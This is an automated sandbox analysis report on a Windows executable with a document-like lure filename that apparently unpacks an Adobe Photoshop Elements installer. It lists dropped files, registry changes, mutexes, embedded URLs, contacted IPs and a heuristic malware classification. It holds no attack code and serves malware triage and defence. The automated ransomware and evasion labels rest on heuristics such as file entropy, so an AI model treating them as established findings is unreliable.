Source: https://auth.services.adobe.com/en_US/deeplink.html?deeplink=ssofirst&callback=https%3A%2F%2Fims-na1.adobelogin.com%2Fims%2Fadobeid%2FCC_HD_ESD_WEB%2FAdobeID%2Fcode%3Fredirect_uri%3Dhttps%253A%252F%252Fauth.services.adobe.com%252Fen_US%252Fdeeplink.html%253Fdelegated_request_id%253D6fc10679-ad49-4742-b3b1-ec5d2abadd12%2526client_id%253DCC_HD_ESD_WEB%2526deeplink%253Ddelegation%26code_challenge_method%3Dplain%26use_ms_for_expiry%3Dtrue&client_id=CC_HD_ESD_WEB&scope=allow_ac_dt_exchange%2Copenid%2CAdobeID%2Ccreative_cloud%2Ccreative_sdk%2Cread_organizations%2Csao.cce_private%2Cadditional_info.account_type&relay=f23810d2-8a55-41d0-8714-2eb0f5dafd42&locale=en_US&flow_type=code&idp_flow_type=login&s_p=google%2Cfacebook%2Capple%2Cmicrosoft%2Cline%2Ckakao&response_type=code&code_challenge_method=plain&redirect_uri=https%3A%2F%2Fauth.services.adobe.com%2Fen_US%2Fdeeplink.html%3Fdelegated_request_id%3D6fc10679-ad49-4742-b3b1-ec5d2abadd12%26client_id%3DCC_HD_ESD_WEB%26deeplink%3Ddelegation&use_ms_for_expiry=true#/HTTP Parser: No <meta name="copyright".. found
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeRegistry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION PhotoshopElements_2024_LS30_win64.exe
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
Source: C:\Program Files\Google\Chrome\Application\chrome.exeDirectory created: C:\Program Files\scoped_dir3400_144098294
Source: C:\Program Files\Google\Chrome\Application\chrome.exeDirectory created: C:\Program Files\chrome_BITS_3400_1125630203
Source: C:\Windows\System32\svchost.exeDirectory created: C:\Program Files\chrome_BITS_3400_1125630203\BITF2FC.tmp
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeFile created: C:\Users\user\AppData\Local\Temp\CreativeCloud\ACC\AdobeDownload\HDInstaller.log
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeFile opened: C:\Users\user
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeFile opened: C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeFile opened: C:\Users\user\AppData\Local
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeFile opened: C:\Users\user\AppData\Local\Temp
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeFile opened: C:\Users\user\AppData
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeFile opened: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
Source: chrome.exeMemory has grown: Private usage: 13MB later: 47MB
Source: Joe Sandbox ViewIP Address: 3.211.174.17 3.211.174.17
Source: Joe Sandbox ViewIP Address: 9.9.9.9 9.9.9.9
Source: Joe Sandbox ViewIP Address: 1.1.1.1 1.1.1.1
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000002.00000002.16055640540.000000000018F000.00000004.00000010.00020000.00000000.sdmp, Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000002.00000003.16027107073.00000000036F2000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe.2.dr, PhotoshopElements_2024_LS30_win64.exe0.2.drString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000002.00000002.16055640540.000000000018F000.00000004.00000010.00020000.00000000.sdmp, Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000002.00000003.16027107073.00000000036F2000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe.2.dr, PhotoshopElements_2024_LS30_win64.exe0.2.drString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000002.00000002.16055640540.000000000018F000.00000004.00000010.00020000.00000000.sdmp, Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000002.00000003.16027107073.00000000036F2000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe.2.dr, PhotoshopElements_2024_LS30_win64.exe0.2.drString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000002.00000002.16055640540.000000000018F000.00000004.00000010.00020000.00000000.sdmp, Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000002.00000003.16027107073.00000000036F2000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe.2.dr, PhotoshopElements_2024_LS30_win64.exe0.2.drString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exeString found in binary or memory: http://cert.ssl.com/SSL.com-timeStamping-I-RSA-R1.cer0Q
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exeString found in binary or memory: http://cert.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.cer0_
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000002.00000002.16055640540.000000000018F000.00000004.00000010.00020000.00000000.sdmp, Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000002.00000003.16027107073.00000000036F2000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe.2.dr, PhotoshopElements_2024_LS30_win64.exe0.2.drString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000002.00000002.16055640540.000000000018F000.00000004.00000010.00020000.00000000.sdmp, Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000002.00000003.16027107073.00000000036F2000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe.2.dr, PhotoshopElements_2024_LS30_win64.exe0.2.drString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000002.00000002.16055640540.000000000018F000.00000004.00000010.00020000.00000000.sdmp, Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000002.00000003.16027107073.00000000036F2000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe.2.dr, PhotoshopElements_2024_LS30_win64.exe0.2.drString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: PhotoshopElements_2024_LS30_win64.exe0.2.drString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000002.00000002.16055640540.000000000018F000.00000004.00000010.00020000.00000000.sdmp, Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000002.00000003.16027107073.00000000036F2000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe.2.dr, PhotoshopElements_2024_LS30_win64.exe0.2.drString found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0=
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exeString found in binary or memory: http://crls.ssl.com/SSL.com-timeStamping-I-RSA-R1.crl0
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exeString found in binary or memory: http://crls.ssl.com/SSLcom-RootCA-EV-RSA-4096-R2.crl0
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exeString found in binary or memory: http://crls.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.crl0
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exeString found in binary or memory: http://crls.ssl.com/ssl.com-rsa-RootCA.crl0
Source: svchost.exe, 0000000E.00000003.16838336625.00000150F1EE1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/imoffpf67hel7kbknqflao2oo4_1.0.2738.0/nei
Source: svchost.exe, 0000000E.00000003.16774026373.00000150FA200000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/update2/actxsdodvxbjblyjfcbcbc7srcwa_1.3.36.242/GoogleUpda
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000002.00000002.16055640540.000000000018F000.00000004.00000010.00020000.00000000.sdmp, Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000002.00000003.16027107073.00000000036F2000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe.2.dr, PhotoshopElements_2024_LS30_win64.exe0.2.drString found in binary or memory: http://ocsp.digicert.com0
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000002.00000002.16055640540.000000000018F000.00000004.00000010.00020000.00000000.sdmp, Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000002.00000003.16027107073.00000000036F2000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe.2.dr, PhotoshopElements_2024_LS30_win64.exe0.2.drString found in binary or memory: http://ocsp.digicert.com0A
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000002.00000002.16055640540.000000000018F000.00000004.00000010.00020000.00000000.sdmp, Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000002.00000003.16027107073.00000000036F2000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe.2.dr, PhotoshopElements_2024_LS30_win64.exe0.2.drString found in binary or memory: http://ocsp.digicert.com0C
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000002.00000002.16055640540.000000000018F000.00000004.00000010.00020000.00000000.sdmp, Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000002.00000003.16027107073.00000000036F2000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe.2.dr, PhotoshopElements_2024_LS30_win64.exe0.2.drString found in binary or memory: http://ocsp.digicert.com0X
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exeString found in binary or memory: http://ocsps.ssl.com0
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exeString found in binary or memory: http://ocsps.ssl.com0?
Source: PhotoshopElements_2024_LS30_win64.exe, 00000005.00000003.16065285586.000000000681C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://typekit.com/eulas/000000000000000000014822
Source: PhotoshopElements_2024_LS30_win64.exe, 00000005.00000003.16065285586.000000000681C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://typekit.com/eulas/000000000000000000014823
Source: PhotoshopElements_2024_LS30_win64.exe, 00000005.00000003.16065285586.000000000681C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://typekit.com/eulas/000000000000000000014824
Source: PhotoshopElements_2024_LS30_win64.exe, 00000005.00000003.16065285586.000000000681C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://typekit.com/eulas/000000000000000000014825
Source: PhotoshopElements_2024_LS30_win64.exe, 00000005.00000003.16065285586.000000000681C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://typekit.com/eulas/000000000000000000014f4d
Source: PhotoshopElements_2024_LS30_win64.exe, 00000005.00000003.16067711939.000000000596B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://typekit.com/eulas/000000000000000000014f4dli
Source: PhotoshopElements_2024_LS30_win64.exe, 00000005.00000003.16065285586.000000000681C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://typekit.com/eulas/000000000000000000014f4e
Source: PhotoshopElements_2024_LS30_win64.exe, 00000005.00000003.16065285586.000000000681C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://typekit.com/eulas/000000000000000000014f4f
Source: PhotoshopElements_2024_LS30_win64.exe, 00000005.00000003.16070788516.000000000596A000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 00000005.00000003.16070299364.000000000596B000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 00000005.00000003.16070170535.000000000596A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://typekit.com/eulas/000000000000000000014f4fli
Source: PhotoshopElements_2024_LS30_win64.exe, 00000005.00000003.16065285586.000000000681C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://typekit.com/eulas/000000000000000000014f50
Source: PhotoshopElements_2024_LS30_win64.exe, 00000005.00000003.16071798828.000000000596A000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 00000005.00000003.16071691549.000000000596A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://typekit.com/eulas/000000000000000000014f50li
Source: PhotoshopElements_2024_LS30_win64.exe, 00000005.00000003.16065285586.000000000681C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://typekit.com/eulas/000000000000000000014f51
Source: PhotoshopElements_2024_LS30_win64.exe, 00000005.00000003.16070942690.000000000596A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://typekit.com/eulas/000000000000000000014f51li
Source: PhotoshopElements_2024_LS30_win64.exe, 00000005.00000003.16065285586.000000000681C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://typekit.com/eulas/000000000000000000014f52
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000002.00000002.16055640540.000000000018F000.00000004.00000010.00020000.00000000.sdmp, Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000002.00000003.16027107073.00000000036F2000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe.2.dr, PhotoshopElements_2024_LS30_win64.exe0.2.drString found in binary or memory: http://www.digicert.com/CPS0
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exeString found in binary or memory: http://www.ssl.com/repository/SSLcom-RootCA-EV-RSA-4096-R2.crt0
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exeString found in binary or memory: http://www.ssl.com/repository/SSLcomRootCertificationAuthorityRSA.crt0
Source: svchost.exe, 0000000E.00000003.16774026373.00000150FA229000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.16774026373.00000150FA200000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exeString found in binary or memory: https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU
Source: PhotoshopElements_2024_LS30_win64.exe, 00000005.00000003.16053229820.0000000004912000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 00000005.00000003.16052674067.0000000004912000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 00000005.00000003.16051181473.0000000004912000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 00000005.00000003.16051718061.0000000004912000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 00000005.00000003.16050646793.0000000004912000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://use.typekit.net/af/c2b3ac/00000000000000000
Source: index.html.5.dr, index.html1.5.drString found in binary or memory: https://use.typekit.net/af/c2b3ac/0000000000000000000176ff/27/l?unicode=AAAIKgAAAAeBbOxmgCK-MdR34PEM
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe, 00000000.00000003.16013538978.000000007FB40000.00000004.00001000.00020000.00000000.sdmp, Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe, 00000000.00000003.16012340859.0000000002680000.00000004.00001000.00020000.00000000.sdmp, Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000002.00000000.16016709360.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp.0.drString found in binary or memory: https://www.innosetup.com/
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe, 00000000.00000003.16013538978.000000007FB40000.00000004.00001000.00020000.00000000.sdmp, Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe, 00000000.00000003.16012340859.0000000002680000.00000004.00001000.00020000.00000000.sdmp, Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000002.00000000.16016709360.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp.0.drString found in binary or memory: https://www.remobjects.com/ps
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exeString found in binary or memory: https://www.ssl.com/repository0

Spam, unwanted Advertisements and Ransom Demands

barindex
Writes many files with high entropy
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeFile created: C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\carousel.zip entropy: 7.99858557094Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeFile created: C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\carousel\images\01_PSE2024_InstallerCarousel_ColorMatch_445x239.png entropy: 7.99417780661Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeFile created: C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\carousel\images\02_PSE2024_InstallerCarousel_AddText_445x239.png entropy: 7.99439683967Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeFile created: C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\carousel\images\03_PSE2024_InstallerCarousel_PhotoReels_445x239.png entropy: 7.99157413002Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeFile created: C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\carousel\images\04_PSE2024_InstallerCarousel_OneClickSelection_445x239.png entropy: 7.99693279764Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeFile created: C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\carousel\images\05_PSE2024_InstallerCarousel_CallOut_445x239.png entropy: 7.99404274865Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeFile created: C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\carousel\images\05_PSE2024_InstallerCarousel_NewUI_445x239.png entropy: 7.99565416079Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeFile created: C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\preserve\carousel\images\01_PSE2024_InstallerCarousel_ColorMatch_445x239.png entropy: 7.99417780661Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeFile created: C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\preserve\carousel\images\02_PSE2024_InstallerCarousel_AddText_445x239.png entropy: 7.99439683967Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeFile created: C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\preserve\carousel\images\03_PSE2024_InstallerCarousel_PhotoReels_445x239.png entropy: 7.99157413002Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeFile created: C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\preserve\carousel\images\04_PSE2024_InstallerCarousel_OneClickSelection_445x239.png entropy: 7.99693279764Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeFile created: C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\preserve\carousel\images\05_PSE2024_InstallerCarousel_CallOut_445x239.png entropy: 7.99404274865Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeFile created: C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\preserve\carousel\images\05_PSE2024_InstallerCarousel_NewUI_445x239.png entropy: 7.99565416079Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeFile created: C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\images\01_PSE2024_InstallerCarousel_ColorMatch_445x239.png entropy: 7.99417780661Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeFile created: C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\images\02_PSE2024_InstallerCarousel_AddText_445x239.png entropy: 7.99439683967Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeFile created: C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\images\03_PSE2024_InstallerCarousel_PhotoReels_445x239.png entropy: 7.99157413002Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeFile created: C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\images\04_PSE2024_InstallerCarousel_OneClickSelection_445x239.png entropy: 7.99693279764Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeFile created: C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\images\05_PSE2024_InstallerCarousel_CallOut_445x239.png entropy: 7.99404274865Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeFile created: C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\images\05_PSE2024_InstallerCarousel_NewUI_445x239.png entropy: 7.99565416079Jump to dropped file
Source: Joe Sandbox ViewDropped File: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp 53E81F92037DE45F985ADA2D311B1BB075799ED674BE340A99829B54A8806193
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exeStatic PE information: invalid certificate
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp.0.drStatic PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: PhotoshopElements_2024_LS30_win64.exe.2.drStatic PE information: Resource name: DICTIONARY type: DOS executable (COM, 0x8C-variant)
Source: PhotoshopElements_2024_LS30_win64.exe.2.drStatic PE information: Resource name: DICTIONARY type: COM executable for DOS
Source: PhotoshopElements_2024_LS30_win64.exe0.2.drStatic PE information: Resource name: DICTIONARY type: DOS executable (COM, 0x8C-variant)
Source: PhotoshopElements_2024_LS30_win64.exe0.2.drStatic PE information: Resource name: DICTIONARY type: COM executable for DOS
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe, 00000000.00000003.16013538978.000000007FE26000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFileNameinstaller-build.exe vs Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe, 00000000.00000003.16057462544.00000000024A8000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamekernel32j% vs Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe, 00000000.00000000.16011403362.00000000004C6000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFileNameinstaller-build.exe vs Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe, 00000000.00000003.16012340859.000000000276A000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFileNameinstaller-build.exe vs Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exeBinary or memory string: OriginalFileNameinstaller-build.exe vs Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
Source: classification engineClassification label: mal52.rans.evad.winEXE@32/136@0/17
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Program Files\scoped_dir3400_144098294
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpFile created: C:\Users\user\AppData\Local\ProgramsJump to behavior
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2508:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeMutant created: \Sessions\1\BaseNamedObjects\Global\{3EBE6875-9C4E-4782-8A43-275AFFFCA6FB}
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeMutant created: \Sessions\1\BaseNamedObjects\Global\17984755fe166b7170b9b5099053521c
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2508:304:WilStaging_02
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeMutant created: \Sessions\1\BaseNamedObjects\HDInstaller.log
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeMutant created: \Sessions\1\BaseNamedObjects\Global\359dca4322b8b4a0f7f92bf448150fb
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeMutant created: \Sessions\1\BaseNamedObjects\Global\{D14718B7-BC31-4F09-9E3C-75D933967967}
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeMutant created: \Sessions\1\BaseNamedObjects\Global\_MSIExecute
Source: C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exeFile created: C:\Users\user\AppData\Local\Temp\is-96M8K.tmpJump to behavior
Source: C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exeKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
Source: C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exeKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
